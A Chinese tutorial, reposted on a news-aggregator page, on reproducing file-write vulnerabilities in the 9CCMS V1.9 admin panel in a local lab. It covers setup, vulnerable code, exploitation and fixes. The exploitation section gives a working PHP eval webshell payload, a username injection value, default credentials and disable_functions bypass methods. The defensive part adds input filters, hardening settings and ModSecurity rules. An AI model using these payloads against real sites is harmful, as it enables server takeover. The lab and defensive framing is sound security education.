当前位置: 首页 > news >正文

不止是弱口令:手把手复现9CCMS后台文件写入漏洞,打造你的本地PHP靶场环境

从零构建PHP靶场:9CCMS V1.9漏洞深度复现与防御实践

在网络安全领域,理论知识的积累固然重要,但真正能提升实战能力的往往是亲手搭建环境、复现漏洞的过程。9CCMS V1.9作为一个存在典型安全缺陷的内容管理系统,为我们提供了绝佳的学习样本。本文将带你从环境配置开始,逐步复现后台文件写入漏洞,最终构建完整的本地渗透测试环境。

1. 靶场环境搭建与基础配置

搭建本地测试环境是安全研究的首要步骤。推荐使用PHPStudy作为基础环境,它集成了Apache、PHP和MySQL,能快速部署CMS系统。

环境准备清单

  • Windows 10/11 或 macOS 系统
  • PHPStudy 8.1+(含Apache 2.4+和PHP 5.6+)
  • 9CCMS V1.9 源码包
  • Burp Suite Community 或 Postman
  • 蚁剑(AntSword)最新版

安装步骤:

# 解压9CCMS到PHPStudy的WWW目录 unzip 9ccms_v1.9.zip -d /path/to/phpstudy/www/ # 创建数据库 mysql -u root -p -e "CREATE DATABASE 9ccms DEFAULT CHARACTER SET utf8"

访问http://localhost/9ccms/install完成安装后,务必修改默认管理员密码。初始弱口令9ccms/9ccms是常见攻击入口,我们首先将其改为复杂密码:

// 修改后的密码建议格式 $password = 'Jcms@'.date('Y').'!Secure';

提示:测试环境中建议关闭防火墙和杀毒软件的实时监控,避免干扰漏洞复现过程。

2. 漏洞定位与原理分析

9CCMS V1.9存在多处高危漏洞,我们重点分析两个典型的文件写入漏洞点。

2.1 广告管理模块漏洞

php/admin/home/ad/adjs.php中,关键漏洞代码如下:

$postAdJs = $_POST['AdJs']; if (isset($_POST['submit']) && isset($postAdJs)) { $file = fopen("../JCSQL/Admin/Ad/AdminAdJs.php","w"); fwrite($file,$postAdJs); fclose($file); }

漏洞特征

  • 直接接收用户输入的AdJs参数
  • 无任何内容过滤或安全校验
  • 使用w模式打开文件,会清空原有内容
  • 写入路径固定且可预测

2.2 密码修改模块漏洞

php/admin/home/security/userpass.php中的漏洞更为隐蔽:

function post_input($data){ $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } $str = '<?php //后台密码 define(\'USERNAME\', \''.$username.'\'); define(\'PASSWORD\', \''.$password.'\'); define(\'IPPASS\', \''.$ippass.'\'); ?>'; $ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+'); fwrite($ff,$str);

虽然使用了htmlspecialchars过滤,但写入的仍然是PHP配置文件,攻击者可以通过精心构造参数注入恶意代码。

3. 漏洞利用实战演练

3.1 通过广告管理写入WebShell

使用Burp Suite拦截广告修改请求,构造特殊Payload:

POST /adminx/?Php=Home/Ad/AdJs HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded AdJs=<?php @eval($_POST['cmd']);?>&submit=1

成功写入后,WebShell地址为:http://localhost/9ccms/JCSQL/Admin/Ad/AdminAdJs.php

连接验证

curl -X POST -d "cmd=phpinfo();" http://localhost/9ccms/JCSQL/Admin/Ad/AdminAdJs.php

3.2 通过密码修改写入WebShell

构造特殊用户名参数实现代码注入:

参数名正常值恶意值
usernameadminadmin');phpinfo();//
passwordnewpassword任意值
ippass127.0.0.1任意值

写入的配置文件将包含可执行代码:

define('USERNAME', 'admin');phpinfo();//');

3.3 蚁剑连接与插件绕过

部分环境可能存在disable_functions限制,需要使用插件绕过:

  1. 在蚁剑中添加WebShell连接
  2. 选择"绕过disable_functions"插件
  3. 尝试以下方法:
    • LD_PRELOAD方式
    • PHP-FPM方式
    • GC/UAF方式
// 测试命令执行 echo system('whoami');

4. 漏洞修复与安全加固

了解漏洞原理后,我们更需要掌握如何防御此类攻击。

4.1 代码层修复方案

广告模块修复

// 添加内容安全检查 function isSafeContent($content) { if(preg_match('/<\?php|eval\(|base64_decode/i', $content)) { return false; } return true; } if (isset($_POST['submit']) && isset($postAdJs)) { if(!isSafeContent($postAdJs)) { die('Invalid content detected'); } // 其余代码... }

密码模块修复

// 增加正则校验 if(!preg_match('/^[a-zA-Z0-9_@.-]+$/', $username)) { die('Invalid username format'); }

4.2 系统层防护措施

  1. 文件权限控制

    chmod -R 750 /path/to/9ccms/JCSQL/ chown www-data:www-data /path/to/9ccms/ -R
  2. PHP安全配置

    open_basedir = /path/to/9ccms/:/tmp/ disable_functions = exec,passthru,shell_exec,system
  3. WAF规则示例(适用于ModSecurity):

    SecRule REQUEST_BODY "@rx (?:<\?php|eval\()" \ "id:1001,phase:2,deny,msg:'PHP injection attempt'"

5. 靶场进阶训练建议

掌握基础漏洞复现后,可尝试以下进阶练习:

  1. 组合漏洞利用

    • XSS + CSRF → 文件写入
    • SQL注入 → 管理员凭证获取 → 后台登录
  2. 流量分析实验

    • 使用Wireshark捕获攻击流量
    • 分析特征并编写Snort规则
  3. 自动化检测脚本开发(Python示例):

    def check_vulnerability(url): test_payload = {'AdJs': 'test123'} try: r = requests.post(url+'/adminx/?Php=Home/Ad/AdJs', data=test_payload) if r.status_code == 200: verify = requests.get(url+'/JCSQL/Admin/Ad/AdminAdJs.php') if 'test123' in verify.text: return True except: pass return False

在真实环境中测试时,务必遵守法律法规,仅在授权范围内进行安全测试。建议使用像Metasploitable这样的专用靶机系统进行练习,避免意外影响生产系统。

http://www.jsqmd.com/news/686719/

相关文章:

  • Zotero Better Notes:如何用这款免费插件打造你的学术知识管理系统
  • 2026最新深度实测,宁波软装设计公司排名与推荐榜(精装房改造与还原篇) - 疯一样的风
  • 2026年口碑好的环保一次性吸管厂家推荐,京津冀地区靠谱供应商全解析 - myqiye
  • 避坑指南:VMware装CentOS 7,为什么你的网络总连不上?从桥接到NAT的深度解析
  • 大疆20周年:汪滔十年蜕变,产品与管理双升级,市场反馈热烈!
  • 告别抢票焦虑:5个步骤教你用Python自动化工具轻松搞定大麦网演唱会门票
  • AEUX:设计到动画的技术范式转移与生态系统重构
  • 避开这些坑!Unity Ads集成实战:广告加载失败、回调处理与性能优化心得
  • 当HttpOnly锁住Cookie后,我们还能做什么?5种绕过思路与实战演示
  • 2026年物流园重卡充电桩推荐有哪些?六大品牌排名:补能效率与运维解析 - 科技焦点
  • 告别手动算地址!UVM验证中如何用uvm_mem_man实现C语言式的动态内存管理
  • 告别DLL噩梦:OpenSeesPy在Conda环境下的完整安装与依赖配置指南(含tcl86t.dll等常见问题)
  • 从人眼到Sensor:为什么你的照片“不像你看到的”?聊聊Gamma校正的前世今生
  • Java 21 + GraalVM 24.1内存优化新纪元:ZGC for Native Image实验数据首曝,RSS降低41%,但仅限这3类服务!
  • 告别XXL-JOB?SpringBoot项目实战:用PowerJob搞定分布式定时任务(附完整配置流程)
  • 这6个Linux鲜为人知的终端技巧,是真的可以提高工作效率
  • 2026年澳洲留学文书指导机构推荐:五家优选深度解析 - 科技焦点
  • Steam成就管理器终极指南:5分钟学会轻松解锁和管理游戏成就
  • Python Counter实战:5个数据分析场景让你秒懂这个统计神器
  • 盒马购物卡回收赚现金攻略! - 团团收购物卡回收
  • AzurLaneAutoScript:三分钟解放双手的碧蓝航线智能伴侣
  • 革命性游戏模组管理工具:XXMI启动器如何彻底改变你的二次元游戏体验
  • 从课堂到仿真:用Matlab玩转拉普拉斯变换,可视化你的信号与系统
  • 机房上网被锁?从极域网络限制原理到实战绕过(附键盘解锁思路)
  • 在贵阳花果园找工作,2026年别被高薪噱头带偏了 - 年度推荐企业名录
  • 告别Electron!用Qt QWebEngine + C++ 打造高性能混合桌面应用(附完整项目源码)
  • 2026年贵阳招聘市场真相:有野心的人该选什么岗位? - 年度推荐企业名录
  • 服务器加固+安全基线双保障,政企主机安全防护推荐 - 品牌2026
  • 如何用Umi-CUT一键完成批量图片去黑边与智能裁剪:新手完整指南
  • 从《春泥棒》的MV美学,聊聊如何用DaVinci Resolve调出日系清新动画感色调